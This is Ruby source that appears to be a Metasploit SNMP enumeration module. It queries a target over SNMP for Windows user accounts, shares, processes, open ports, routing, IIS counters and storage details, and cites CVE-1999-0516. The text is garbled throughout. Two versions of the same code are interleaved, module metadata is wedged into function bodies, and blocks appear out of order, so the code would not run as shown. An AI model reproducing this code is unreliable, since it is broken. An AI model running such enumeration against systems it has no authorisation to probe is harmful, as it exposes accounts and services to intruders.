http_totalBGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0')
if http_totalBGIRequests.to_s !~ /Null/
iis["BGIRequests"] = http_totalBGIRequests
end
http_totalNotFoundErrors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0')
if http_totalNotFoundErrors.to_s !~ /Null/
iis["NotFoundErrors"] = http_totalNotFoundErrors
end
if not iis.empty?
output_data["IIS server information"] = iis
end
end
storage_information = []
snmp.walk([
"1.3.6.1.2.1.25.2.3.1.1", "1.3.6.1.2.1.25.2.3.1.2", "1.3.6.1.2.1.25.2.3.1.3",
"1.3.6.1.2.1.25.2.3.1.4", "1.3.6.1.2.1.25.2.3.1.5", "1.3.6.1.2.1.25.2.3.1.6"
]) do |index,type,descr,allocation,size,used|
case type.value.to_s
when /^1.3.6.1.2.1.25.2.1.1$/
type.value = "Other"
when /^1.3.6.1.2.1.25.2.1.2$/
type.value = "Ram"
when /^1.3.6.1.2.1.25.2.1.3$/
type.value = "Virtual Memory"
when /^1.3.6.1.2.1.25.2.1.4$/
type.value = "Fixed Disk"
when /^1.3.6.1.2.1.25.2.1.5$/
type.value = "Removable Disk"
when /^1.3.6.1.2.1.25.2.1.6$/
type.value = "Floppy Disk"
when /^1.3.6.1.2.1.25.2.1.7$/
type.value = "Compact Disc"
when /^1.3.6.1.2.1.25.2.1.8$/
type.value = "RamDisk"
when /^1.3.6.1.2.1.25.2.1.9$/
type.value = "Flash Memory"
when /^1.3.6.1.2.1.25.2.1.10$/
type.value = "Network Disk"
else
type.value = "unknown"
end
allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/
size.value = "unknown" if size.value.to_s =~ /noSuchInstance/
used.value = "unknown" if used.value.to_s =~ /noSuchInstance/
storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]])
end
if not storage_information.empty?
storage = []
storage_information.each {|a,b,c,d,e,f|
s = {}
e = number_to_human_size(e,d)
f = number_to_human_size(f,d)
s["Description"]= a
s["Device id"] = b
s["Filesystem type"] = c
s["Device unit"] = d
s["Memory size"] = e
s["Memory used"] = f
storage.push(s)
[ 'CVE', '1999-0516' ]
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
output_data["Storage information"] = storage
end
)
)
end
file_system = {}
# rubocop:disable Metrics/MethodLength
def run_host(ip)
snmp = connect_snmp
hrFSIndex = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1')
if hrFSIndex.to_s !~ /Null/
file_system["Index"] = hrFSIndex
end
fields_order = [
'Host IP', 'Hostname', 'Description', 'Contact',
'Location', 'Uptime snmp', 'Uptime system',
'System date', 'domain', 'User accounts',
'Network information', 'Network interfaces',
'Network IP', 'Routing information',
'TCP connections and listening ports', 'Listening UDP ports',
'Network services', 'Share', 'IIS server information',
'Storage information', 'File system information',
'Device information', 'Software components',
'Processes'
]
hrFSMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1')
if hrFSMountPoint.to_s !~ /Null/
file_system["Mount point"] = hrFSMountPoint
end
output_data = { 'Host IP' => ip }
hrFSRemoteMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/
if hrFSRemoteMountPoint.empty?
hrFSRemoteMountPoint = '-'
end
file_system["Remote mount point"] = hrFSRemoteMountPoint
end
sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
output_data['Hostname'] = sys_name.strip
hrFSType = snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1')
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
case hrFSType.to_s
when /^1.3.6.1.2.1.25.3.9.1$/
hrFSType = "Other"
when /^1.3.6.1.2.1.25.3.9.2$/
hrFSType = "Unknown"
when /^1.3.6.1.2.1.25.3.9.3$/
hrFSType = "BerkeleyFFS"
when /^1.3.6.1.2.1.25.3.9.4$/
hrFSType = "Sys5FS"
when /^1.3.6.1.2.1.25.3.9.5$/
hrFSType = "Fat"
when /^1.3.6.1.2.1.25.3.9.6$/
hrFSType = "HPFS"
when /^1.3.6.1.2.1.25.3.9.7$/
hrFSType = "HFS"
when /^1.3.6.1.2.1.25.3.9.8$/
hrFSType = "MFS"
when /^1.3.6.1.2.1.25.3.9.9$/
hrFSType = "NTFS"
when /^1.3.6.1.2.1.25.3.9.10$/
hrFSType = "VNode"
when /^1.3.6.1.2.1.25.3.9.11$/
hrFSType = "Journaled"
when /^1.3.6.1.2.1.25.3.9.12$/
hrFSType = "iso9660"
when /^1.3.6.1.2.1.25.3.9.13$/
hrFSType = "RockRidge"
when /^1.3.6.1.2.1.25.3.9.14$/
hrFSType = "NFS"
when /^1.3.6.1.2.1.25.3.9.15$/
hrFSType = "Netware"
when /^1.3.6.1.2.1.25.3.9.16$/
hrFSType = "AFS"
when /^1.3.6.1.2.1.25.3.9.17$/
hrFSType = "DFS"
when /^1.3.6.1.2.1.25.3.9.18$/
hrFSType = "Appleshare"
when /^1.3.6.1.2.1.25.3.9.19$/
hrFSType = "RFS"
when /^1.3.6.1.2.1.25.3.9.20$/
hrFSType = "DGCFS"
when /^1.3.6.1.2.1.25.3.9.21$/
hrFSType = "BFS"
when /^1.3.6.1.2.1.25.3.9.22$/
hrFSType = "FAT32"
when /^1.3.6.1.2.1.25.3.9.23$/
hrFSType = "LinuxExt2"
else
hrFSType = "Null"
end
sys_desc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
sys_desc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
output_data['Description'] = sys_desc.strip
if hrFSType.to_s !~ /Null/
file_system["Type"] = hrFSType
end
sys_contact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
output_data['Contact'] = sys_contact.strip
hrFSAccess = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1')
if hrFSAccess.to_s !~ /Null/
file_system["Access"] = hrFSAccess
end
sys_location = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
output_data['Location'] = sys_location.strip
hrFSBootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1')
if hrFSBootable.to_s !~ /Null/
file_system["Bootable"] = hrFSBootable
end
sys_up_time_instance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s
output_data['Uptime system'] = sys_up_time_instance.strip
if not file_system.empty?
output_data["File system information"] = file_system
end
hr_system_uptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s
output_data['Uptime snmp'] = hr_system_uptime =~ /Null/ ? '-' : hr_system_uptime.strip
device_information = []
system_date = snmp.get_value('1.3.6.1.2.1.25.1.2.0')
if system_date.blank? || system_date =~ /Null/ || system_date =~ /^noSuch/
output_data['System date'] = '-'
else
snmp.walk([
"1.3.6.1.2.1.25.3.2.1.1", "1.3.6.1.2.1.25.3.2.1.2",
"1.3.6.1.2.1.25.3.2.1.5", "1.3.6.1.2.1.25.3.2.1.3"
]) do |index,type,status,descr|
# RFC 2579 - Textual Conventions for SMIv2
# http://www.faqs.org/rfcs/rfc2579.html
case type.value.to_s
when /^1.3.6.1.2.1.25.3.1.1$/
type.value = "Other"
when /^1.3.6.1.2.1.25.3.1.2$/
type.value = "Unknown"
when /^1.3.6.1.2.1.25.3.1.3$/
type.value = "Processor"
when /^1.3.6.1.2.1.25.3.1.4$/
type.value = "Network"
when /^1.3.6.1.2.1.25.3.1.5$/
type.value = "Printer"
when /^1.3.6.1.2.1.25.3.1.6$/
type.value = "Disk Storage"
when /^1.3.6.1.2.1.25.3.1.10$/
type.value = "Video"
when /^1.3.6.1.2.1.25.3.1.11$/
type.value = "Audio"
when /^1.3.6.1.2.1.25.3.1.12$/
type.value = "Coprocessor"
when /^1.3.6.1.2.1.25.3.1.13$/
type.value = "Keyboard"
when /^1.3.6.1.2.1.25.3.1.14$/
type.value = "Modem"
when /^1.3.6.1.2.1.25.3.1.15$/
type.value = "Parallel Port"
when /^1.3.6.1.2.1.25.3.1.16$/
type.value = "Pointing"
when /^1.3.6.1.2.1.25.3.1.17$/
type.value = "Serial Port"
when /^1.3.6.1.2.1.25.3.1.18$/
type.value = "Tape"
when /^1.3.6.1.2.1.25.3.1.19$/
type.value = "Clock"
when /^1.3.6.1.2.1.25.3.1.20$/
type.value = "Volatile Memory"
when /^1.3.6.1.2.1.25.3.1.21$/
type.value = "Non Volatile Memory"
else
type.value = "unknown"
end
system_date = system_date.unpack('C*')
case status.value
when 1
status.value = "unknown"
when 2
status.value = "running"
when 3
status.value = "warning"
when 4
status.value = "testing"
when 5
status.value = "down"
else
status.value = "unknown"
end
descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/
device_information.push([index.value, type.value, status.value, descr.value])
end
if not device_information.empty?
output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information
end
software_list = []
snmp.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name|
software_list.push([index.value,name.value])
end
if not software_list.empty?
output_data["Software components"] = [["Index","Name"]] + software_list
end
process_interfaces = []
snmp.walk([
"1.3.6.1.2.1.25.4.2.1.1", "1.3.6.1.2.1.25.4.2.1.2", "1.3.6.1.2.1.25.4.2.1.4",
"1.3.6.1.2.1.25.4.2.1.5", "1.3.6.1.2.1.25.4.2.1.7"
]) do |id,name,path,param,status|
if status.value == 1
status.value = "running"
elsif status.value == 2
status.value = "runnable"
else
status.value = "unknown"
end
process_interfaces.push([id.value, status.value, name.value, path.value, param.value])
end
if not process_interfaces.empty?
output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces
end
print_line("\n[*] System information:\n")
line = ""
width = 30 # name field width
twidth = 32 # table like display cell width
fields_order.each {|k|
if not output_data.has_key?(k)
next
end
v = output_data[k]
case v
when Array
content = ""
v.each{ |a|
case a
when Hash
a.each{ |sk, sv|
sk = truncate_to_twidth(sk, twidth)
content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
}
content << "\n"
when Array
a.each { |sv|
sv = sv.to_s.strip
# I don't like cutting info
#sv = truncate_to_twidth(sv, twidth)
content << sprintf("%-20s", sv)
}
content << "\n"
else
content << sprintf(" %s\n", a)
content << "\n"
end
}
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => { :content => content }
)
line << "\n[*] #{k}:\n\n#{content}"
when Hash
content = ""
v.each{ |sk, sv|
sk = truncate_to_twidth(sk,twidth)
content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
}
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => { :content => content }
)
line << "\n[*] #{k}:\n\n#{content}"
content << "\n"
else
if (v.nil? or v.empty? or v =~ /Null/)
v = '-'
end
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => { :content => v }
)
k = truncate_to_twidth(k,twidth)
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
end
}
print_line(line)
print_line('')
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
output_data['System date'] = format(
'%<year>d-%<month>d-%<day>d %<hour>02d:%<minutes>02d:%<seconds>02d.%<tenths>d',
year: system_date[0] * 256 + system_date[1],
month: system_date[2] || 0,
day: system_date[3] || 0,
hour: system_date[4] || 0,
minutes: system_date[5] || 0,
seconds: system_date[6] || 0,
tenths: system_date[7] || 0
)
end
if (sys_desc =~ /Windows/)
dom_primary_domain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
output_data['Domain'] = dom_primary_domain.strip
users = []
snmp.walk(['1.3.6.1.4.1.77.1.2.25.1.1', '1.3.6.1.4.1.77.1.2.25.1']) do |user, _entry|
users.push([[user.value]])
end
if !users.empty?
output_data['User accounts'] = users
end
end
network_information = {}
ip_forwarding = snmp.get_value('1.3.6.1.2.1.4.1.0')
if ip_forwarding == 0 || ip_forwarding == 2
ip_forwarding = 'no'
network_information['IP forwarding enabled'] = ip_forwarding
elsif ip_forwarding == 1
ip_forwarding = 'yes'
network_information['IP forwarding enabled'] = ip_forwarding
end
ip_default_ttl = snmp.get_value('1.3.6.1.2.1.4.2.0')
if ip_default_ttl.to_s !~ /Null/
network_information['Default TTL'] = ip_default_ttl
end
tcp_in_segs = snmp.get_value('1.3.6.1.2.1.6.10.0')
if tcp_in_segs.to_s !~ /Null/
network_information['TCP segments received'] = tcp_in_segs
end
tcp_out_segs = snmp.get_value('1.3.6.1.2.1.6.11.0')
if tcp_out_segs.to_s !~ /Null/
network_information['TCP segments sent'] = tcp_out_segs
end
tcp_retrans_segs = snmp.get_value('1.3.6.1.2.1.6.12.0')
if tcp_retrans_segs.to_s !~ /Null/
network_information['TCP segments retrans'] = tcp_retrans_segs
end
ip_in_receives = snmp.get_value('1.3.6.1.2.1.4.3.0')
if ip_in_receives.to_s !~ /Null/
network_information['Input datagrams'] = ip_in_receives
end
ip_in_delivers = snmp.get_value('1.3.6.1.2.1.4.9.0')
if ip_in_delivers.to_s !~ /Null/
network_information['Delivered datagrams'] = ip_in_delivers
end
ip_out_requests = snmp.get_value('1.3.6.1.2.1.4.10.0')
if ip_out_requests.to_s !~ /Null/
network_information['Output datagrams'] = ip_out_requests
end
unless network_information.blank?
output_data['Network information'] = network_information
end
network_interfaces = []
# rubocop:disable Metrics/ParameterLists
snmp.walk([
'1.3.6.1.2.1.2.2.1.1', '1.3.6.1.2.1.2.2.1.2', '1.3.6.1.2.1.2.2.1.6',
'1.3.6.1.2.1.2.2.1.3', '1.3.6.1.2.1.2.2.1.4', '1.3.6.1.2.1.2.2.1.5',
'1.3.6.1.2.1.2.2.1.10', '1.3.6.1.2.1.2.2.1.16', '1.3.6.1.2.1.2.2.1.7'
]) do |index, descr, mac, type, mtu, speed, inoc, outoc, status|
# rubocop:enable Metrics/ParameterLists
ifindex = index.value
ifdescr = descr.value
ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack('H2H2H2H2H2H2').join(':')
iftype = type.value
ifmtu = mtu.value
ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000
ifinoc = inoc.value
ifoutoc = outoc.value
ifstatus = status.value
case iftype
when 1
iftype = 'other'
when 2
iftype = 'regular1822'
when 3
iftype = 'hdh1822'
when 4
iftype = 'ddn-x25'
when 5
iftype = 'rfc877-x25'
when 6
iftype = 'ethernet-csmacd'
when 7
iftype = 'iso88023-csmacd'
when 8
iftype = 'iso88024-tokenBus'
when 9
iftype = 'iso88025-tokenRing'
when 10
iftype = 'iso88026-man'
when 11
iftype = 'starLan'
when 12
iftype = 'proteon-10Mbit'
when 13
iftype = 'proteon-80Mbit'
when 14
iftype = 'hyperchannel'
when 15
iftype = 'fddi'
when 16
iftype = 'lapb'
when 17
iftype = 'sdlc'
when 18
iftype = 'ds1'
when 19
iftype = 'e1'
when 20
iftype = 'basicISDN'
when 21
iftype = 'primaryISDN'
when 22
iftype = 'propPointToPointSerial'
when 23
iftype = 'ppp'
when 24
iftype = 'softwareLoopback'
when 25
iftype = 'eon'
when 26
iftype = 'ethernet-3Mbit'
when 27
iftype = 'nsip'
when 28
iftype = 'slip'
when 29
iftype = 'ultra'
when 30
iftype = 'ds3'
when 31
iftype = 'sip'
when 32
iftype = 'frame-relay'
else
iftype = 'unknown'
end
case ifstatus
when 1
ifstatus = 'up'
when 2
ifstatus = 'down'
when 3
ifstatus = 'testing'
else
ifstatus = 'unknown'
end
network_interfaces.push({
'Interface' => "[ #{ifstatus} ] #{ifdescr}",
'Id' => ifindex,
'Mac Address' => ifmac,
'Type' => iftype,
'Speed' => "#{ifspeed} Mbps",
'MTU' => ifmtu,
'In octets' => ifinoc,
'Out octets' => ifoutoc
})
end
if !network_interfaces.empty?
output_data['Network interfaces'] = network_interfaces
end
network_ip = []
snmp.walk([
'1.3.6.1.2.1.4.20.1.2', '1.3.6.1.2.1.4.20.1.1',
'1.3.6.1.2.1.4.20.1.3', '1.3.6.1.2.1.4.20.1.4'
]) do |ifid, ipaddr, netmask, bcast|
network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value])
end
if !network_ip.empty?
output_data['Network IP'] = [['Id', 'IP Address', 'Netmask', 'Broadcast']] + network_ip
end
routing = []
snmp.walk([
'1.3.6.1.2.1.4.21.1.1', '1.3.6.1.2.1.4.21.1.7',
'1.3.6.1.2.1.4.21.1.11', '1.3.6.1.2.1.4.21.1.3'
]) do |dest, hop, mask, metric|
if metric.value.to_s.empty?
metric.value = '-'
end
routing.push([dest.value, hop.value, mask.value, metric.value])
end
if !routing.empty?
output_data['Routing Information'] = [['Destination', 'Next Hop', 'Mask', 'Metric']] + routing
end
tcp = []
snmp.walk([
'1.3.6.1.2.1.6.13.1.2', '1.3.6.1.2.1.6.13.1.3', '1.3.6.1.2.1.6.13.1.4',
'1.3.6.1.2.1.6.13.1.5', '1.3.6.1.2.1.6.13.1.1'
]) do |ladd, lport, radd, rport, state|
if ladd.value.to_s.empty? || ladd.value.to_s =~ /noSuchInstance/
ladd = '-'
else
ladd = ladd.value
end
if lport.value.to_s.empty? || lport.value.to_s =~ /noSuchInstance/
lport = '-'
else
lport = lport.value
end
if radd.value.to_s.empty? || radd.value.to_s =~ /noSuchInstance/
radd = '-'
else
radd = radd.value
end
if rport.value.to_s.empty? || rport.value.to_s =~ /noSuchInstance/
rport = '-'
else
rport = rport.value
end
case state.value
when 1
state = 'closed'
when 2
state = 'listen'
when 3
state = 'synSent'
when 4
state = 'synReceived'
when 5
state = 'established'
when 6
state = 'finWait1'
when 7
state = 'finWait2'
when 8
state = 'closeWait'
when 9
state = 'lastAck'
when 10
state = 'closing'
when 11
state = 'timeWait'
when 12
state = 'deleteTCB'
else
state = 'unknown'
end
tcp.push([ladd, lport, radd, rport, state])
end
if !tcp.empty?
output_data['TCP connections and listening ports'] = [['Local address', 'Local port', 'Remote address', 'Remote port', 'State']] + tcp
end
udp = []
snmp.walk(['1.3.6.1.2.1.7.5.1.1', '1.3.6.1.2.1.7.5.1.2']) do |ladd, lport|
udp.push([ladd.value, lport.value])
end
if !udp.empty?
output_data['Listening UDP ports'] = [['Local address', 'Local port']] + udp
end
if (sys_desc =~ /Windows/)
network_services = []
n = 0
snmp.walk(['1.3.6.1.4.1.77.1.2.3.1.1', '1.3.6.1.4.1.77.1.2.3.1.2']) do |name, _installed|
network_services.push([n, name.value])
n += 1
end
if !network_services.empty?
output_data['Network services'] = [['Index', 'Name']] + network_services
end
share = []
snmp.walk([
'1.3.6.1.4.1.77.1.2.27.1.1', '1.3.6.1.4.1.77.1.2.27.1.2', '1.3.6.1.4.1.77.1.2.27.1.3'
]) do |name, path, comment|
share.push({ ' Name' => name.value, ' Path' => path.value, ' Comment' => comment.value })
end
if !share.empty?
output_data['Share'] = share
end
iis = {}
http_total_bytes_sent_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0')
if http_total_bytes_sent_low_word.to_s !~ /Null/
iis['TotalBytesSentLowWord'] = http_total_bytes_sent_low_word
end
http_total_bytes_received_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0')
if http_total_bytes_received_low_word.to_s !~ /Null/
iis['TotalBytesReceivedLowWord'] = http_total_bytes_received_low_word
end
http_total_files_sent = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0')
if http_total_files_sent.to_s !~ /Null/
iis['TotalFilesSent'] = http_total_files_sent
end
http_current_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0')
if http_current_anonymous_users.to_s !~ /Null/
iis['CurrentAnonymousUsers'] = http_current_anonymous_users
end
http_current_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0')
if http_current_non_anonymous_users.to_s !~ /Null/
iis['CurrentNonAnonymousUsers'] = http_current_non_anonymous_users
end
http_total_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0')
if http_total_anonymous_users.to_s !~ /Null/
iis['TotalAnonymousUsers'] = http_total_anonymous_users
end
http_total_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0')
if http_total_non_anonymous_users.to_s !~ /Null/
iis['TotalNonAnonymousUsers'] = http_total_non_anonymous_users
end
http_max_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0')
if http_max_anonymous_users.to_s !~ /Null/
iis['MaxAnonymousUsers'] = http_max_anonymous_users
end
http_max_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0')
if http_max_non_anonymous_users.to_s !~ /Null/
iis['MaxNonAnonymousUsers'] = http_max_non_anonymous_users
end
http_current_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0')
if http_current_connections.to_s !~ /Null/
iis['CurrentConnections'] = http_current_connections
end
http_max_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0')
if http_max_connections.to_s !~ /Null/
iis['MaxConnections'] = http_max_connections
end
http_connection_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0')
if http_connection_attempts.to_s !~ /Null/
iis['ConnectionAttempts'] = http_connection_attempts
end
http_logon_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0')
if http_logon_attempts.to_s !~ /Null/
iis['LogonAttempts'] = http_logon_attempts
end
http_total_gets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0')
if http_total_gets.to_s !~ /Null/
iis['Gets'] = http_total_gets
end
http_total_posts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0')
if http_total_posts.to_s !~ /Null/
iis['Posts'] = http_total_posts
end
http_total_heads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0')
if http_total_heads.to_s !~ /Null/
iis['Heads'] = http_total_heads
end
http_total_others = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0')
if http_total_others.to_s !~ /Null/
iis['Others'] = http_total_others
end
http_total_cgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0')
if http_total_cgi_requests.to_s !~ /Null/
iis['CGIRequests'] = http_total_cgi_requests
end
# Was this supposed to be "CGI" requests?
http_total_bgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0')
if http_total_bgi_requests.to_s !~ /Null/
iis['BGIRequests'] = http_total_bgi_requests
end
http_total_not_found_errors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0')
if http_total_not_found_errors.to_s !~ /Null/
iis['NotFoundErrors'] = http_total_not_found_errors
end
if !iis.empty?
output_data['IIS server information'] = iis
end
end
storage_information = []
snmp.walk([
'1.3.6.1.2.1.25.2.3.1.1', '1.3.6.1.2.1.25.2.3.1.2', '1.3.6.1.2.1.25.2.3.1.3',
'1.3.6.1.2.1.25.2.3.1.4', '1.3.6.1.2.1.25.2.3.1.5', '1.3.6.1.2.1.25.2.3.1.6'
]) do |index, type, descr, allocation, size, used|
case type.value.to_s
when /^1.3.6.1.2.1.25.2.1.1$/
type.value = 'Other'
when /^1.3.6.1.2.1.25.2.1.2$/
type.value = 'Ram'
when /^1.3.6.1.2.1.25.2.1.3$/
type.value = 'Virtual Memory'
when /^1.3.6.1.2.1.25.2.1.4$/
type.value = 'Fixed Disk'
when /^1.3.6.1.2.1.25.2.1.5$/
type.value = 'Removable Disk'
when /^1.3.6.1.2.1.25.2.1.6$/
type.value = 'Floppy Disk'
when /^1.3.6.1.2.1.25.2.1.7$/
type.value = 'Compact Disc'
when /^1.3.6.1.2.1.25.2.1.8$/
type.value = 'RamDisk'
when /^1.3.6.1.2.1.25.2.1.9$/
type.value = 'Flash Memory'
when /^1.3.6.1.2.1.25.2.1.10$/
type.value = 'Network Disk'
else
type.value = 'unknown'
end
allocation.value = 'unknown' if allocation.value.to_s =~ /noSuchInstance/
size.value = 'unknown' if size.value.to_s =~ /noSuchInstance/
used.value = 'unknown' if used.value.to_s =~ /noSuchInstance/
storage_information.push([[descr.value], [index.value], [type.value], [allocation.value], [size.value], [used.value]])
end
if !storage_information.empty?
storage = []
storage_information.each do |a, b, c, d, e, f|
s = {}
e = number_to_human_size(e, d)
f = number_to_human_size(f, d)
s['Description'] = a
s['Device id'] = b
s['Filesystem type'] = c
s['Device unit'] = d
s['Memory size'] = e
s['Memory used'] = f
storage.push(s)
end
output_data['Storage information'] = storage
end
file_system = {}
hr_fs_index = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1')
if hr_fs_index.to_s !~ /Null/
file_system['Index'] = hr_fs_index
end
hr_fs_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1')
if hr_fs_mount_point.to_s !~ /Null/
file_system['Mount point'] = hr_fs_mount_point
end
hr_fs_remote_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
if hr_fs_remote_mount_point.to_s !~ /Null/ && hr_fs_remote_mount_point.to_s !~ /^noSuch/
if hr_fs_remote_mount_point.empty?
hr_fs_remote_mount_point = '-'
end
file_system['Remote mount point'] = hr_fs_remote_mount_point
end
hr_fs_type = snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1')
case hr_fs_type.to_s
when /^1.3.6.1.2.1.25.3.9.1$/
hr_fs_type = 'Other'
when /^1.3.6.1.2.1.25.3.9.2$/
hr_fs_type = 'Unknown'
when /^1.3.6.1.2.1.25.3.9.3$/
hr_fs_type = 'BerkeleyFFS'
when /^1.3.6.1.2.1.25.3.9.4$/
hr_fs_type = 'Sys5FS'
when /^1.3.6.1.2.1.25.3.9.5$/
hr_fs_type = 'Fat'
when /^1.3.6.1.2.1.25.3.9.6$/
hr_fs_type = 'HPFS'
when /^1.3.6.1.2.1.25.3.9.7$/
hr_fs_type = 'HFS'
when /^1.3.6.1.2.1.25.3.9.8$/
hr_fs_type = 'MFS'
when /^1.3.6.1.2.1.25.3.9.9$/
hr_fs_type = 'NTFS'
when /^1.3.6.1.2.1.25.3.9.10$/
hr_fs_type = 'VNode'
when /^1.3.6.1.2.1.25.3.9.11$/
hr_fs_type = 'Journaled'
when /^1.3.6.1.2.1.25.3.9.12$/
hr_fs_type = 'iso9660'
when /^1.3.6.1.2.1.25.3.9.13$/
hr_fs_type = 'RockRidge'
when /^1.3.6.1.2.1.25.3.9.14$/
hr_fs_type = 'NFS'
when /^1.3.6.1.2.1.25.3.9.15$/
hr_fs_type = 'Netware'
when /^1.3.6.1.2.1.25.3.9.16$/
hr_fs_type = 'AFS'
when /^1.3.6.1.2.1.25.3.9.17$/
hr_fs_type = 'DFS'
when /^1.3.6.1.2.1.25.3.9.18$/
hr_fs_type = 'Appleshare'
when /^1.3.6.1.2.1.25.3.9.19$/
hr_fs_type = 'RFS'
when /^1.3.6.1.2.1.25.3.9.20$/
hr_fs_type = 'DGCFS'
when /^1.3.6.1.2.1.25.3.9.21$/
hr_fs_type = 'BFS'
when /^1.3.6.1.2.1.25.3.9.22$/
hr_fs_type = 'FAT32'
when /^1.3.6.1.2.1.25.3.9.23$/
hr_fs_type = 'LinuxExt2'
else
hr_fs_type = 'Null'
end
if hr_fs_type.to_s !~ /Null/
file_system['Type'] = hr_fs_type
end
hr_fs_access = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1')
if hr_fs_access.to_s !~ /Null/
file_system['Access'] = hr_fs_access
end
hr_fs_bootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1')
if hr_fs_bootable.to_s !~ /Null/
file_system['Bootable'] = hr_fs_bootable
end
if !file_system.empty?
output_data['File system information'] = file_system
end
device_information = []
snmp.walk([
'1.3.6.1.2.1.25.3.2.1.1', '1.3.6.1.2.1.25.3.2.1.2',
'1.3.6.1.2.1.25.3.2.1.5', '1.3.6.1.2.1.25.3.2.1.3'
]) do |index, type, status, descr|
case type.value.to_s
when /^1.3.6.1.2.1.25.3.1.1$/
type.value = 'Other'
when /^1.3.6.1.2.1.25.3.1.2$/
type.value = 'Unknown'
when /^1.3.6.1.2.1.25.3.1.3$/
type.value = 'Processor'
when /^1.3.6.1.2.1.25.3.1.4$/
type.value = 'Network'
when /^1.3.6.1.2.1.25.3.1.5$/
type.value = 'Printer'
when /^1.3.6.1.2.1.25.3.1.6$/
type.value = 'Disk Storage'
when /^1.3.6.1.2.1.25.3.1.10$/
type.value = 'Video'
when /^1.3.6.1.2.1.25.3.1.11$/
type.value = 'Audio'
when /^1.3.6.1.2.1.25.3.1.12$/
type.value = 'Coprocessor'
when /^1.3.6.1.2.1.25.3.1.13$/
type.value = 'Keyboard'
when /^1.3.6.1.2.1.25.3.1.14$/
type.value = 'Modem'
when /^1.3.6.1.2.1.25.3.1.15$/
type.value = 'Parallel Port'
when /^1.3.6.1.2.1.25.3.1.16$/
type.value = 'Pointing'
when /^1.3.6.1.2.1.25.3.1.17$/
